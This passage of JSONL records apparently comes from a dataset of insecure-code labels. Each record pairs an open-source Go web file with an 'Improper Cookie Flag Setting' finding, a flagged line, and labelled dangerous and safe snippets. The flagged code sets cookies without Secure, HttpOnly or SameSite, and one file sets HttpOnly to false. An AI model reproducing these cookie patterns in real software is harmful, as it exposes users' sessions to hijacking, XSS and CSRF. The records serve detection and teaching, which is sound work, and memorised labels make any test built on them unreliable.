{\n\t\tlevel.Error(logger).Log(\"msg\", \"Failed to read config file\", \"file\", f, \"err\", err)\n\t\tos.Exit(1)\n\t}\n\n\tif cfg.Section(\"\").Key(\"log_level\").String() != \"debug\" {\n\t\tlogger = level.NewFilter(logger, level.AllowInfo())\n\t} else {\n\t\tlogger = level.NewFilter(logger, level.AllowAll())\n\t}\n\tlogger = log.With(logger, \"ts\", log.DefaultTimestampUTC, \"caller\", log.DefaultCaller)\n\n\tkeyFilter, err := keyfilter.New(cfg.Section(\"\").Key(\"filter_keys\").ValueWithShadows())\n\tif err != nil {\n\t\tlevel.Error(logger).Log(\"msg\", \"Error creating keyFilter\", \"err\", err)\n\t\tos.Exit(1)\n\t}\n\texternalURL, err := url.Parse(cfg.Section(\"\").Key(\"external_url\").String())\n\tif err != nil {\n\t\tlevel.Error(logger).Log(\"msg\", \"Error parsing external_url\", \"err\", err)\n\t\tos.Exit(1)\n\t}\n\n\twsMux := NewWSMux(context.TODO(), logger, keyFilter, externalURL)\n\tgo wsMux.Run()\n\tprometheus.MustRegister(wsMux)\n\n\tr := mux.NewRouter()\n\tr.Use(prometheusMiddleware)\n\tr.Handle(\"/metrics\", promhttp.Handler())\n\n\tr.HandleFunc(\"/receiver\", wsMux.Receive)\n\t// Serve up WS.\n\tr.Host(\"{subdomain}.\" + externalURL.Host).Path(\"/WS/\").HandlerFunc(wsMux.WSHandler)\n\n\t// Homepage.\n\tr.Host(\"live.\" + externalURL.Host).Path(\"/\").HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\thomepage(w, r, wsMux, externalURL)\n\t})\n\t// Redirect bare domain to live,\n\tr.Host(externalURL.Host).HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tu := *externalURL\n\t\tu.Host = \"live.\" + u.Host\n\t\thttp.Redirect(w, r, u.String(), http.StatusMovedPermanently)\n\t})\n\n\t// Static content on subdomains.\n\thtmlDir := cfg.Section(\"\").Key(\"subdomain_html_directory\").String()\n\tfs := http.FileServer(http.Dir(htmlDir))\n\tif htmlDir != \"\" {\n\t\tlevel.Debug(logger).Log(\"msg\", \"Serving subdomain content\", \"dir\", htmlDir)\n\t}\n\tr.Host(\"{subdomain}.\" + externalURL.Host).HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tif htmlDir != \"\" {\n\t\t\tw.Header().Set(\"Cache-Control\", \"no-cache\")\n\t\t\tw.Header().Set(\"X-Robots-Tag\", \"none\")\n\t\t\tfs.ServeHTTP(w, r)\n\t\t} else {\n\t\t\tfmt.Fprintf(w, \"No subdomain_html_directory provided.\")\n\t\t}\n\t})\n\n\tterm := make(chan os.Signal, 1)\n\tsignal.Notify(term, os.Interrupt, syscall.SIGTERM, syscall.SIGINT)\n\n\tlistenAddr := cfg.Section(\"\").Key(\"listen_address\").String()\n\tlevel.Info(logger).Log(\"msg\", \"Listening for HTTP\", \"addr\", listenAddr)\n\thttpSrv := &http.Server{Addr: listenAddr, Handler: r}\n\tgo func() {\n\t\tif err := httpSrv.ListenAndServe(); err != http.ErrServerClosed {\n\t\t\tlevel.Error(logger).Log(\"msg\", \"Error listening for HTTP\", \"err\", err)\n\t\t\tos.Exit(1)\n\t\t}\n\t}()\n\n\ts := <-term\n\tlevel.Info(logger).Log(\"msg\", \"Shutting down due to signal\", \"signal\", s)\n\tgo httpSrv.Shutdown(context.Background()) // Stop accepting new connections.\n\twsMux.Shutdown()\n\tlevel.Info(logger).Log(\"msg\", \"Shutdown complete. Exiting.\")\n\tos.Exit(0)\n}", "dangerousExampleEn": "1. func Dan_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tPath: \"/\",\n6. \t\tMaxAge: 60 * 60 * 24 * 365,\n7. \t}\n8. \thttp.SetCookie(c.Writer, cookie)\n9. \tc.String(http.StatusOK, \"success\")\n10. }\nLine 8: This is insecure because the application is exposed to multiple vulnerabilities due to the undeclared secure cookie flags.", "safeExampleEn": "1. func Safe_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tHttpOnly: true,\n6. \t\tSecure: true,\n7. \t\tPath: \"/\",\n8. \t\tMaxAge: 60 * 60,\n9. \t\tSameSite: http.SameSiteStrictMode,\n10. \t}\n11. \thttp.SetCookie(c.Writer, cookie)\n12. \tc.String(http.StatusOK, \"success\")\n13. }\nLine 11: This is secure because the Secure, HttpOnly, and SameSite flags are securely configured in the cookie settings.", "contexts": [{"lineNo": 292, "eventType": "sink", "messageKey": "gochk.IMPROPER_COOKIE_FLAG_SETTING.GO.defect", "params": {}}]}} {"id": "6b0a055baaaee1f5d73c42229d2172e30f97f81496134ca71a71a45d39167f61", "license": {"spdx": ["MIT"], "repo": "2046A/illusion", "path": "context.go", "repo_head_hexsha": "281e91572b991bfddbc9c473da8dd6781ea97b87", "stack_hexsha": "37afdbe42cdca28b8c3797a547896010e19d1186", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Cookie Flag Setting", "issueDescriptionEn": "Cookie settings should be properly managed in web application development. When the cookies are not properly set, this can lead to security vulnerabilities such as Session hijacking, XSS, and CSRF. To protect your cookies against the attacks, set secure cookie flags i.e. Secure, HttpOnly, SameSite.\n\n1. Secure: The Secure flag ensures that cookies are sent only over the HTTPS protocol. Therefore, it will prevent cookie information from being exposed by man-in-the-middle attacks.\n2. HttpOnly: Enabling the HttpOnly flag prevents cookies from being accessed via JavaScript, enhancing protection against XSS attacks.\n3. SameSite: The SameSite flag bans sending cookies with cross-site requests, thereby protecting the cookies against CSRF attacks.\nIn Go, you can use the `http.SetCookie` function in the `net/http` package to configure secure cookie flags. The `Secure` and `HttpOnly` flags should always be set to `true`, and it is safe to set the `SameSite` flag to `Lax` or stricter.", "issueLineNumber": 313, "entireCode": "//我就实现一个最简单的context好了\n//提高可读性\n\npackage illusion\n\nimport (\n\t\"net/http\"\n\t//\"go/token\"\n\t\"net\"\n\t\"strings\"\n\t\"time\"\n\t//\"path/filepath\"\n\t//\t\"encoding/json\"\n\t\"encoding/json\"\n\t//\t\"fmt\"\n//\t\"errors\"\n)\n\n//这个好像没什么用\n//const abortIndex int8 = 10\nconst MaxParamSize = 20 //最大url参数个数,是指/user/:id中id这样的个数\n//const\n\n//Context还是先简单着来\n//因为我还闹不大明白很多东西, :)\ntype Context struct {\n\t//请求对象\n\tRequest *http.Request\n\n\t//response对象\n\tWriter http.ResponseWriter\n\n\t//额外参数\n\tParams Params\n\n\t//调用链\n\thandlers HandlerChain\n\n\t//额外附着在Context上的数据\n\tKeys map[string]interface{}\n\n\t//错误信息\n\t//这个也不需要了\n\t//Error error\n\n\t//是否需要终止\n\taborted bool\n\n\t//模板\n\t//就是这么随意\n\ttemplate IllusionTemplate\n}\n\n//初始化一个Context\nfunc newContext(template *Template) *Context {\n\treturn &Context{\n\t\tRequest: nil,\n\t\tWriter: nil,\n\t\tParams: make(Params, 0, MaxParamSize),\n\t\thandlers: make(HandlerChain, 0, MaxHandlerNumber),\n\t\tKeys: make(map[string]interface{}),\n\t\t//Error: nil,\n\t\taborted: false,\n\t\ttemplate: template,\n\t}\n}\n\n//Context是从pool获取的,使用前必须调用reset清理原来的值\nfunc (it *Context) reset() {\n\tit.Params = it.Params[0:0] //这干嘛的\n\tit.handlers = it.handlers[0:0] //..\n\tit.Request = nil\n\tit.Writer = nil\n\tit.Keys = make(map[string]interface{})\n\t//it.Error = nil\n\tit.aborted = false\n\t//\tit.template.Clear()\n}\n\n//好像还有个问题, 让我想想???????\n//abort的时候要确保能终止\n//让我想想 ....\n//还在想\n//还在想..\nfunc (it *Context) AbortWithStatus(code int) {\n\tit.Status(code)\n\tit.Abort()\n}\n\nfunc (it *Context) AbortWithError(code int, err error) {\n\t//it.Error = err\n\tappendError(errorInfo{Error: err, Level: logOnError})\n\tit.AbortWithStatus(code)\n}\n\n//设置结束标志\nfunc (it *Context) Abort() {\n\tit.aborted = true\n}\n\n//判断是否结束\n//好像没什么用\nfunc (it *Context) IsAborted() bool {\n\treturn it.aborted\n}\n\n//开始处理http请求\n//这是整个request的最终处理地点\nfunc (it *Context) Next() {\n\tfor _, handler := range it.handlers {\n\t\t//那么问题来了\n\t\t// 整个调用链中的其中一个函数如何使整个链结束呢\n\t\t//在context中添加Abort标志以示结束\n\t\thandler(it)\n\t\t//如果用户设置了Abort, 那么结束\n\t\tif it.aborted {\n\t\t\treturn\n\t\t}\n\t}\n}\n\n//添加额外的信息到调用链中\n//后面可以使用\nfunc (it *Context) Append(key string, value interface{}) {\n\tif it.Keys == nil {\n\t\tit.Keys = make(map[string]interface{})\n\t}\n\tit.Keys[key] = value\n}\n\n//获取附加的信息\nfunc (it *Context) Retrieve(key string) (value interface{}, exists bool) {\n\tif it.Keys != nil {\n\t\tvalue, exists = it.Keys[key]\n\t}\n\treturn\n}\n\n/*******************************\n/*** request读数据 *************\n/******************************/\n\n//比如:/user/:id ,那么it.Param(\"id\")就会返回相应的:id值\nfunc (it *Context) Param(key string) string {\n\treturn it.Params.ByName(key)\n}\n\n//是it.Request.URL.Query()的快捷方式\n// GET /?name=Manu&lastname=\n// (\"Manu\", true) == it.GetQuery(\"name\")\n// (\"\", false) == it.GetQuery(\"id\")\n// (\"\", true) == it.GetQuery(\"lastname\")\nfunc (it *Context) GetQuery(key string) (string, bool) {\n\treq := it.Request\n\tif values, ok := req.URL.Query()[key]; ok && len(values) > 0 {\n\t\treturn values[0], true\n\t}\n\treturn \"\", false\n}\n\n//诸如/path?id=1234&name=Manu\n//it.Query(\"id\") == 1234\n//it.Query(\"name\") == \"Manu\"\nfunc (it *Context) Query(key string) string {\n\tvalue, _ := it.GetQuery(key)\n\treturn value\n}\n\n//获取参数的默认版本\nfunc (it *Context) DefaultQuery(key, defaultValue string) string {\n\tif value, ok := it.GetQuery(key); ok {\n\t\treturn value\n\t}\n\treturn defaultValue\n}\n\n//与getQuery行为一致,不做过多解释\nfunc (it *Context) GetPostForm(key string) (string, bool) {\n\treq := it.Request\n\treq.ParseMultipartForm(32 << 20) //32MB ???\n\tif values := req.PostForm[key]; len(values) > 0 {\n\t\treturn values[0], true\n\t}\n\tif req.MultipartForm != nil && req.MultipartForm.File != nil {\n\t\tif values := req.MultipartForm.Value[key]; len(values) > 0 {\n\t\t\treturn values[0], true\n\t\t}\n\t}\n\treturn \"\", false\n}\n\n//如果key存在,返回对应值,否则返回\"\"\nfunc (it *Context) PostForm(key string) string {\n\tvalue, _ := it.GetPostForm(key)\n\treturn value\n}\n\nfunc (it *Context) DefaultPostForm(key, defaultValue string) string {\n\tif value, ok := it.GetPostForm(key); ok {\n\t\treturn value\n\t}\n\treturn defaultValue\n}\n\n//还有一些简单的东西可以实现以下\n\nfunc (it *Context) requestHeader(key string) string {\n\tif values, _ := it.Request.Header[key]; len(values) > 0 {\n\t\treturn values[0]\n\t}\n\treturn \"\"\n}\n\n// ClientIP implements a best effort algorithm to return the real client IP, it parses\n// X-Real-IP and X-Forwarded-For in order to work properly with reverse-proxies such us: nginx or haproxy.\nfunc (it *Context) ClientIP() string {\n\t//if c.illusion.ForwardedByClientIP {\n\tclientIP := strings.TrimSpace(it.requestHeader(\"X-Real-Ip\"))\n\tif len(clientIP) > 0 {\n\t\treturn clientIP\n\t}\n\tclientIP = it.requestHeader(\"X-Forwarded-For\")\n\tif index := strings.IndexByte(clientIP, ','); index >= 0 {\n\t\tclientIP = clientIP[0:index]\n\t}\n\tclientIP = strings.TrimSpace(clientIP)\n\tif len(clientIP) > 0 {\n\t\treturn clientIP\n\t}\n\t//}\n\tif ip, _, err := net.SplitHostPort(strings.TrimSpace(it.Request.RemoteAddr)); err == nil {\n\t\treturn ip\n\t}\n\treturn \"\"\n}\n\n//?????\nfunc (it *Context) ContentType() string {\n\t//???????\n\treturn it.requestHeader(\"Content-Type\")\n}\n\n/*****************************\n/*** Response写操作 **********\n/****************************/\n\n//写key->value到Header中\n//如果value=\"\",也没差啊\nfunc (it *Context) Header(key, value string) {\n\tif len(value) == 0 {\n\t\tit.Writer.Header().Del(key)\n\t} else {\n\t\tit.Writer.Header().Set(key, value)\n\t}\n}\n\n//被带到坑里去了\nfunc (it *Context) Status(code int) {\n\tit.Writer.WriteHeader(code)\n}\n\n//重定向\nfunc (it *Context) Redirect(uri string) {\n\t//todo insert code here\n\tit.Header(\"Location\", uri)\n\tit.Status(http.StatusMovedPermanently)\n\t//it.Writer.Header().Set(\"Location\", uri)\n\t//it.Writer.WriteHeader(http.StatusMovedPermanently)\n}\n\n//json数据的返回\nfunc (it *Context) Json(status int, value interface{}) {\n\t//todo insert code here\n\tdata, err := json.Marshal(value)\n\tif err != nil {\n\t\tappendError(errorInfo{Error: err, Level: panicOnError})\n\t}\n\t//it.Status()\n\t//it.Writer.WriteHeader(status)\n\tit.Status(status)\n\tit.Writer.Write(data)\n}\n\n//这个Write应该只能被调用一次就好\n//否则会报header被重复写的错误\nfunc (it *Context) String(status int, value string) {\n\t//这里出现了二次写头部的问题?????\n\tit.Status(status)\n\n\tit.Writer.Write([]byte(value))\n}\n\n//添加echo和view两个方法就好了\n\nfunc (it *Context) View(path string, value TemplateContext) {\n\tif content, err := it.template.Content(path, value); err != nil {\n\t\tit.Writer.WriteHeader(http.StatusNotFound)\n\t\t//it.Writer.Write([]byte)\n\t} else {\n\t\tit.Writer.WriteHeader(http.StatusOK)\n\t\tit.Writer.Write(content)\n\t}\n}\n\nfunc (it *Context) SetCookie() error {\n\tcookie := &http.Cookie{\n\t\tName: CookieName,\n\t\tValue: SessionId(),\n\t\tPath: \"/\",\n\t\tMaxAge: MaxAge,\n\t\tHttpOnly: false,\n\t}\n\thttp.SetCookie(it.Writer, cookie)\n\treturn nil\n}\n\nfunc (it *Context)HasCookie() bool{\n\tif _, err := it.Request.Cookie(CookieName);err!=nil {\n\t\treturn false\n\t}\n\treturn true\n}\n\n//如果有cookie,插入request中,否则什么都不做\n//好屌的一个函数\n//func (it *Context)CouldInsertCookie(){\n//\tif it.HasCookie() {\n//\t\tcookie,_ := it.GetCookie()\n//\t\tit.Append(CookieName, cookie.Value)\n//\t}\n//}\n\nfunc (it *Context)GetCookie() (*http.Cookie,error) {\n\t//if it.HasCookie() {\n\t\tcookie,err := it.Request.Cookie(CookieName)\n\t\tif err!=nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn cookie, nil\n\t//return nil,errors.New(\"无cookie\")\n}\n\nfunc (it *Context)GetSessionId() (string,error){\n\tif cookie,err := it.GetCookie();err != nil{\n\t\treturn \"\", err\n\t}else {\n\t\treturn cookie.Value, nil\n\t}\n}\n//其他的一些再说,反正我也不懂\n\n/*******************\n *** context ******\n ** 依我观察, 好像下面的没什么作用啊 ***********\n *******************/\n\nfunc (c *Context) Deadline() (deadline time.Time, ok bool) {\n\treturn\n}\n\nfunc (c *Context) Done() <-chan struct{} {\n\treturn nil\n}\n\nfunc (c *Context) Err() error {\n\treturn nil\n}\n\nfunc (c *Context) Value(key interface{}) interface{} {\n\tif key == 0 {\n\t\treturn c.Request\n\t}\n\tif keyAsString, ok := key.(string); ok {\n\t\tval, _ := c.Retrieve(keyAsString)\n\t\treturn val\n\t}\n\treturn nil\n}", "dangerousExampleEn": "1. func Dan_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tPath: \"/\",\n6. \t\tMaxAge: 60 * 60 * 24 * 365,\n7. \t}\n8. \thttp.SetCookie(c.Writer, cookie)\n9. \tc.String(http.StatusOK, \"success\")\n10. }\nLine 8: This is insecure because the application is exposed to multiple vulnerabilities due to the undeclared secure cookie flags.", "safeExampleEn": "1. func Safe_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tHttpOnly: true,\n6. \t\tSecure: true,\n7. \t\tPath: \"/\",\n8. \t\tMaxAge: 60 * 60,\n9. \t\tSameSite: http.SameSiteStrictMode,\n10. \t}\n11. \thttp.SetCookie(c.Writer, cookie)\n12. \tc.String(http.StatusOK, \"success\")\n13. }\nLine 11: This is secure because the Secure, HttpOnly, and SameSite flags are securely configured in the cookie settings.", "contexts": [{"lineNo": 313, "eventType": "sink", "messageKey": "gochk.IMPROPER_COOKIE_FLAG_SETTING.GO.defect", "params": {}}]}} {"id": "dd4789c8d70a7055fd71fcf48e7819f0af89599f17107fb1058f5dd38a6d0478", "license": {"spdx": ["MIT"], "repo": "kuiye/gf", "path": "net/ghttp/ghttp_server_cookie.go", "repo_head_hexsha": "89e122cd312924cf24809164b74061379515c058", "stack_hexsha": "260252900cdad73db167c967f44017e2ff8007dd", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Cookie Flag Setting", "issueDescriptionEn": "Cookie settings should be properly managed in web application development. When the cookies are not properly set, this can lead to security vulnerabilities such as Session hijacking, XSS, and CSRF. To protect your cookies against the attacks, set secure cookie flags i.e. Secure, HttpOnly, SameSite.\n\n1. Secure: The Secure flag ensures that cookies are sent only over the HTTPS protocol. Therefore, it will prevent cookie information from being exposed by man-in-the-middle attacks.\n2. HttpOnly: Enabling the HttpOnly flag prevents cookies from being accessed via JavaScript, enhancing protection against XSS attacks.\n3. SameSite: The SameSite flag bans sending cookies with cross-site requests, thereby protecting the cookies against CSRF attacks.\nIn Go, you can use the `http.SetCookie` function in the `net/http` package to configure secure cookie flags. The `Secure` and `HttpOnly` flags should always be set to `true`, and it is safe to set the `SameSite` flag to `Lax` or stricter.", "issueLineNumber": 157, "entireCode": "// Copyright 2017 gf Author(https://github.com/gogf/gf). All Rights Reserved.\n//\n// This Source Code Form is subject to the terms of the MIT License.\n// If a copy of the MIT was not distributed with this file,\n// You can obtain one at https://github.com/gogf/gf.\n\npackage ghttp\n\nimport (\n\t\"net/http\"\n\t\"time\"\n\n\t\"github.com/gogf/gf/os/gtime\"\n)\n\n// Cookie for HTTP COOKIE management.\ntype Cookie struct {\n\tdata map[string]CookieItem // Underlying cookie items.\n\tpath string // The default cookie path.\n\tdomain string // The default cookie domain\n\tmaxage time.Duration // The default cookie maxage.\n\tserver *Server // Belonged HTTP server\n\trequest *Request // Belonged HTTP request.\n\tresponse *Response // Belonged HTTP response.\n}\n\n// CookieItem is cookie item stored in Cookie management object.\ntype CookieItem struct {\n\tvalue string // Cookie value.\n\tdomain string // Cookie domain.\n\tpath string // Cookie path.\n\texpireAt int64 // Cookie expiration timestamp.\n\thttpOnly bool\n}\n\n// GetCookie creates or retrieves a cookie object with given request.\n// It retrieves and returns an existing cookie object if it already exists with given request.\n// It creates and returns a new cookie object if it does not exist with given request.\nfunc GetCookie(r *Request) *Cookie {\n\tif r.Cookie != nil {\n\t\treturn r.Cookie\n\t}\n\treturn &Cookie{\n\t\trequest: r,\n\t\tserver: r.Server,\n\t}\n}\n\n// init does lazy initialization for cookie object.\nfunc (c *Cookie) init() {\n\tif c.data == nil {\n\t\tc.data = make(map[string]CookieItem)\n\t\tc.path = c.request.Server.GetCookiePath()\n\t\tc.domain = c.request.Server.GetCookieDomain()\n\t\tc.maxage = c.request.Server.GetCookieMaxAge()\n\t\tc.response = c.request.Response\n\t\t// DO NOT ADD ANY DEFAULT COOKIE DOMAIN!\n\t\t//if c.domain == \"\" {\n\t\t//\tc.domain = c.request.GetHost()\n\t\t//}\n\t\tfor _, v := range c.request.Cookies() {\n\t\t\tc.data[v.Name] = CookieItem{\n\t\t\t\tv.Value, v.Domain, v.Path, int64(v.Expires.Second()), v.HttpOnly,\n\t\t\t}\n\t\t}\n\t}\n}\n\n// Map returns the cookie items as map[string]string.\nfunc (c *Cookie) Map() map[string]string {\n\tc.init()\n\tm := make(map[string]string)\n\tfor k, v := range c.data {\n\t\tm[k] = v.value\n\t}\n\treturn m\n}\n\n// Contains checks if given key exists and not expired in cookie.\nfunc (c *Cookie) Contains(key string) bool {\n\tc.init()\n\tif r, ok := c.data[key]; ok {\n\t\tif r.expireAt >= 0 {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n// Set sets cookie item with default domain, path and expiration age.\nfunc (c *Cookie) Set(key, value string) {\n\tc.SetCookie(key, value, c.domain, c.path, c.server.GetCookieMaxAge())\n}\n\n// SetCookie sets cookie item given given domain, path and expiration age.\n// The optional parameter specifies if the cookie item is only available in HTTP,\n// which is usually empty.\nfunc (c *Cookie) SetCookie(key, value, domain, path string, maxAge time.Duration, httpOnly ...bool) {\n\tc.init()\n\tisHttpOnly := false\n\tif len(httpOnly) > 0 {\n\t\tisHttpOnly = httpOnly[0]\n\t}\n\tc.data[key] = CookieItem{\n\t\tvalue, domain, path, gtime.Timestamp() + int64(maxAge.Seconds()), isHttpOnly,\n\t}\n}\n\n// GetSessionId retrieves and returns the session id from cookie.\nfunc (c *Cookie) GetSessionId() string {\n\treturn c.Get(c.server.GetSessionIdName())\n}\n\n// SetSessionId sets session id in the cookie.\nfunc (c *Cookie) SetSessionId(id string) {\n\tc.Set(c.server.GetSessionIdName(), id)\n}\n\n// Get retrieves and returns the value with specified key.\n// It returns if specified key does not exist and is given.\nfunc (c *Cookie) Get(key string, def ...string) string {\n\tc.init()\n\tif r, ok := c.data[key]; ok {\n\t\tif r.expireAt >= 0 {\n\t\t\treturn r.value\n\t\t}\n\t}\n\tif len(def) > 0 {\n\t\treturn def[0]\n\t}\n\treturn \"\"\n}\n\n// Remove deletes specified key and its value from cookie using default domain and path.\n// It actually tells the http client that the cookie is expired, do not send it to server next time.\nfunc (c *Cookie) Remove(key string) {\n\tc.SetCookie(key, \"\", c.domain, c.path, -86400)\n}\n\n// RemoveCookie deletes specified key and its value from cookie using given domain and path.\n// It actually tells the http client that the cookie is expired, do not send it to server next time.\nfunc (c *Cookie) RemoveCookie(key, domain, path string) {\n\tc.SetCookie(key, \"\", domain, path, -86400)\n}\n\n// Output outputs the cookie items to client.\nfunc (c *Cookie) Output() {\n\tif len(c.data) == 0 {\n\t\treturn\n\t}\n\tfor k, v := range c.data {\n\t\t// Cookie item matches expire != 0 means it is set in this request,\n\t\t// which should be outputted to client.\n\t\tif v.expireAt == 0 {\n\t\t\tcontinue\n\t\t}\n\t\thttp.SetCookie(\n\t\t\tc.response.Writer,\n\t\t\t&http.Cookie{\n\t\t\t\tName: k,\n\t\t\t\tValue: v.value,\n\t\t\t\tDomain: v.domain,\n\t\t\t\tPath: v.path,\n\t\t\t\tExpires: time.Unix(v.expireAt, 0),\n\t\t\t\tHttpOnly: v.httpOnly,\n\t\t\t},\n\t\t)\n\t}\n}", "dangerousExampleEn": "1. func Dan_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tPath: \"/\",\n6. \t\tMaxAge: 60 * 60 * 24 * 365,\n7. \t}\n8. \thttp.SetCookie(c.Writer, cookie)\n9. \tc.String(http.StatusOK, \"success\")\n10. }\nLine 8: This is insecure because the application is exposed to multiple vulnerabilities due to the undeclared secure cookie flags.", "safeExampleEn": "1. func Safe_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tHttpOnly: true,\n6. \t\tSecure: true,\n7. \t\tPath: \"/\",\n8. \t\tMaxAge: 60 * 60,\n9. \t\tSameSite: http.SameSiteStrictMode,\n10. \t}\n11. \thttp.SetCookie(c.Writer, cookie)\n12. \tc.String(http.StatusOK, \"success\")\n13. }\nLine 11: This is secure because the Secure, HttpOnly, and SameSite flags are securely configured in the cookie settings.", "contexts": [{"lineNo": 157, "eventType": "sink", "messageKey": "gochk.IMPROPER_COOKIE_FLAG_SETTING.GO.defect", "params": {}}]}} {"id": "be899fd297ea0c31809a5f592c0917e0e6b57b397355c0e3bf2ab3297373492c", "license": {"spdx": ["MIT"], "repo": "razzie/razbox", "path": "vendor/github.com/razzie/beepboop/view.go", "repo_head_hexsha": "08bc21f52e7fb42a569050d4bf0f25823bfd46a4", "stack_hexsha": "31215be8381260c5285c0948ff6542c4fab7e330", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Cookie Flag Setting", "issueDescriptionEn": "Cookie settings should be properly managed in web application development. When the cookies are not properly set, this can lead to security vulnerabilities such as Session hijacking, XSS, and CSRF. To protect your cookies against the attacks, set secure cookie flags i.e. Secure, HttpOnly, SameSite.\n\n1. Secure: The Secure flag ensures that cookies are sent only over the HTTPS protocol. Therefore, it will prevent cookie information from being exposed by man-in-the-middle attacks.\n2. HttpOnly: Enabling the HttpOnly flag prevents cookies from being accessed via JavaScript, enhancing protection against XSS attacks.\n3. SameSite: The SameSite flag bans sending cookies with cross-site requests, thereby protecting the cookies against CSRF attacks.\nIn Go, you can use the `http.SetCookie` function in the `net/http` package to configure secure cookie flags. The `Secure` and `HttpOnly` flags should always be set to `true`, and it is safe to set the `SameSite` flag to `Lax` or stricter.", "issueLineNumber": 31, "entireCode": "package beepboop\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"net/http\"\n)\n\n// View is something that a PageHandler returns and is capable of rendering a page\ntype View struct {\n\tStatusCode int\n\tError error\n\tData interface{}\n\tRedirect string\n\theader http.Header\n\tcookies []*http.Cookie\n\trenderer func(w http.ResponseWriter)\n\tcloser func() error\n}\n\n// Render renders the view\nfunc (view *View) Render(w http.ResponseWriter) {\n\th := w.Header()\n\tfor key, values := range view.header {\n\t\tkey = http.CanonicalHeaderKey(key)\n\t\th[key] = append(h[key], values...)\n\t}\n\tfor _, cookie := range view.cookies {\n\t\thttp.SetCookie(w, cookie)\n\t}\n\tview.renderer(w)\n}\n\n// RenderAPIResponse renders the API response of the view\nfunc (view *View) RenderAPIResponse(w http.ResponseWriter) {\n\th := w.Header()\n\tfor key, values := range view.header {\n\t\tkey = http.CanonicalHeaderKey(key)\n\t\th[key] = append(h[key], values...)\n\t}\n\tfor _, cookie := range view.cookies {\n\t\thttp.SetCookie(w, cookie)\n\t}\n\tw.WriteHeader(view.StatusCode)\n\n\tif view.Error != nil {\n\t\tw.Write([]byte(view.Error.Error()))\n\t\treturn\n\t}\n\n\tif view.Data != nil {\n\t\tdata, err := json.MarshalIndent(view.Data, \"\", \"\\t\")\n\t\tif err != nil {\n\t\t\tw.Write([]byte(err.Error()))\n\t\t\treturn\n\t\t}\n\t\tw.Write(data)\n\t\treturn\n\t}\n\n\tif view.StatusCode == http.StatusOK {\n\t\tw.Write([]byte(\"OK\"))\n\t\treturn\n\t}\n\n\tw.Write([]byte(http.StatusText(view.StatusCode)))\n}\n\n// Close frees resources used by the view\nfunc (view *View) Close() error {\n\tif view.closer != nil {\n\t\treturn view.closer()\n\t}\n\treturn nil\n}\n\n// ViewOption is used to customize the error message, error code or data in the view\ntype ViewOption func(view *View)\n\n// WithError sets the view error and error code\nfunc WithError(err error, errcode int) ViewOption {\n\treturn func(view *View) {\n\t\tview.Error = err\n\t\tview.StatusCode = errcode\n\t}\n}\n\n// WithErrorMessage sets the view error message and error code\nfunc WithErrorMessage(errmsg string, errcode int) ViewOption {\n\treturn WithError(fmt.Errorf(\"%s\", errmsg), errcode)\n}\n\n// WithData sets the view data\nfunc WithData(data interface{}) ViewOption {\n\treturn func(view *View) {\n\t\tview.Data = data\n\t}\n}\n\n// WithHeader adds a header field to the view\nfunc WithHeader(key, value string) ViewOption {\n\treturn func(view *View) {\n\t\tif view.header == nil {\n\t\t\tview.header = make(http.Header)\n\t\t}\n\t\tview.header.Add(key, value)\n\t}\n}\n\n// WithCookie adds a cookie to the view\nfunc WithCookie(cookie *http.Cookie) ViewOption {\n\treturn func(view *View) {\n\t\tview.cookies = append(view.cookies, cookie)\n\t}\n}\n\nvar defaultErrorRenderer = GetErrorRenderer(DefaultLayout)\n\n// CustomErrorView returns a View that represents an error and uses a custom renderer\nfunc CustomErrorView(r *http.Request, errmsg string, errcode int, renderer ErrorRenderer, opts ...ViewOption) *View {\n\tv := &View{\n\t\tStatusCode: errcode,\n\t\tError: fmt.Errorf(\"%s\", errmsg),\n\t}\n\tfor _, opt := range opts {\n\t\topt(v)\n\t}\n\tv.renderer = func(w http.ResponseWriter) {\n\t\trenderer(w, r, errmsg, v.StatusCode)\n\t}\n\treturn v\n}\n\n// CustomErrorView returns a View that represents an error and uses a custom renderer\nfunc (r *PageRequest) CustomErrorView(errmsg string, errcode int, renderer ErrorRenderer, opts ...ViewOption) *View {\n\treturn CustomErrorView(r.Request, errmsg, errcode, renderer, opts...)\n}\n\n// ErrorView returns a View that represents an error\nfunc ErrorView(r *http.Request, errmsg string, errcode int, opts ...ViewOption) *View {\n\treturn CustomErrorView(r, errmsg, errcode, defaultErrorRenderer, opts...)\n}\n\n// ErrorView returns a View that represents an error\nfunc (r *PageRequest) ErrorView(errmsg string, errcode int, opts ...ViewOption) *View {\n\treturn ErrorView(r.Request, errmsg, errcode, opts...)\n}\n\n// EmbedView returns a View that embeds the given URL\nfunc EmbedView(url string, opts ...ViewOption) *View {\n\tv := &View{\n\t\tStatusCode: http.StatusOK,\n\t\tData: url,\n\t}\n\tfor _, opt := range opts {\n\t\topt(v)\n\t}\n\tv.renderer = func(w http.ResponseWriter) {\n\t\tw.Header().Set(\"Content-Type\", \"text/html; charset=utf-8\")\n\t\tw.WriteHeader(v.StatusCode)\n\t\tfmt.Fprintf(w, ``, url)\n\t}\n\treturn v\n}\n\n// EmbedView returns a View that embeds the given 